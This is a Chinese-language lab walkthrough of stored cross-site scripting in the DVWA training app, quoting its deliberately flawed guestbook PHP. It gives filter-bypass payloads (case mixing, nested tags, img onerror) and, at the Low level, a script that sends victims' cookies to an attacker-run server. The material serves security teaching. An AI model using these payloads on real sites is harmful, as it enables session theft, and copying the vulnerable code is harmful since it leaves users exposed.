About

Cross Site Scripting(XSS),即跨站脚本攻击,是一种常见的 web 安全漏洞,它主要是指攻击者可以在页面中插入恶意脚本代码,当受害者访问这些页面时,浏览器会解析并执行这些恶意代码,从而达到窃取用户身份 / 钓鱼 / 传播恶意代码等行为。

XSS 的本质其实是一种“HTML”注入,用户的数据被当做 HTML 代码执行,从而混淆了原本的语义,产生了新的语义。

本节展示的是存储型 XSS,存储的意思就是 Payload 是有经过存储的,当一个页面存在存储型 XSS 的时候,XSS 注入成功后,那么每次访问该页面都将触发 XSS,如留言板
1、插入留言 → 内容存储到数据库;
2、查看留言 → 内容从数据库提取出来;
3、内容在页面显示。

Object

将所有人重定向到一个你钦定的网页。

001 Low

该等级下开发者没有做任何防护,我们可以在文本框输入任何内容。比如我们在 Message 中输入:

  1. <script>alert("You've been hacked!")</script>

我们每次进入该页面,都会弹框显示:

1-1.png

我们可以进入数据库查看存放的信息:

1-2.png


我们试一试重定向到另外一个服务器,假设攻击者在自己的电脑上运行:

  1. python -m http.server 1337

以运行自己的 Web 服务。然后攻击者在留言区评论(如果长度不够,在文本框按右键选择 Inspect 修改 HTML 前端长度限制):

<script>window.location='http://192.168.56.1:1337/?cookie='+document.cookie</script>

1-3.png

提交评论,然后攻击者的服务器就能收到对方的 Cookie:

1-4.png

002 Medium

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

开发者在该等级下添加一些保护,比如用str_replace()函数替换<script>字符。更关键的是使用了htmlspecialchars($message)来把特殊字符转换为 HTML 实体字符,例子如下:

<?php
$new = htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES);
echo $new; // &lt;a href=&#039;test&#039;&gt;Test&lt;/a&gt;
?>

虽然 Message 字段加了限制,但 Name 字段没有加。我们直接在 Name 字段进行 XSS 注入(记得修改长度)

1、我们可以尝试大小写绕过:

<ScRIPT>alert("大小写绕过")</ScRIPT>

2、我们可以尝试双写绕过:

<sc<script>ript>alert("双写绕过")</script>

3、我们还可以尝试其他标签绕过:

<img src/onerror=alert("其他标签绕过")>

2-1.png

每次进入该页面会连弹三个框框:

2-2.png

2-3.png

2-4.png

003 High

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

观察源代码,我们可以知道:

  • Message 字段:使用strip_tags()函数从字符串中去除 HTML 和 PHP 标记。
  • Name 字段:使用正则表达式移除模式<s*c*r*i*p*t

由此观之,我们可以通过<img>标签在 Name 字段绕过:

<img src/onerror=alert(document.cookie)>

3-1.png

进入页面后会有弹窗:

3-2.png

References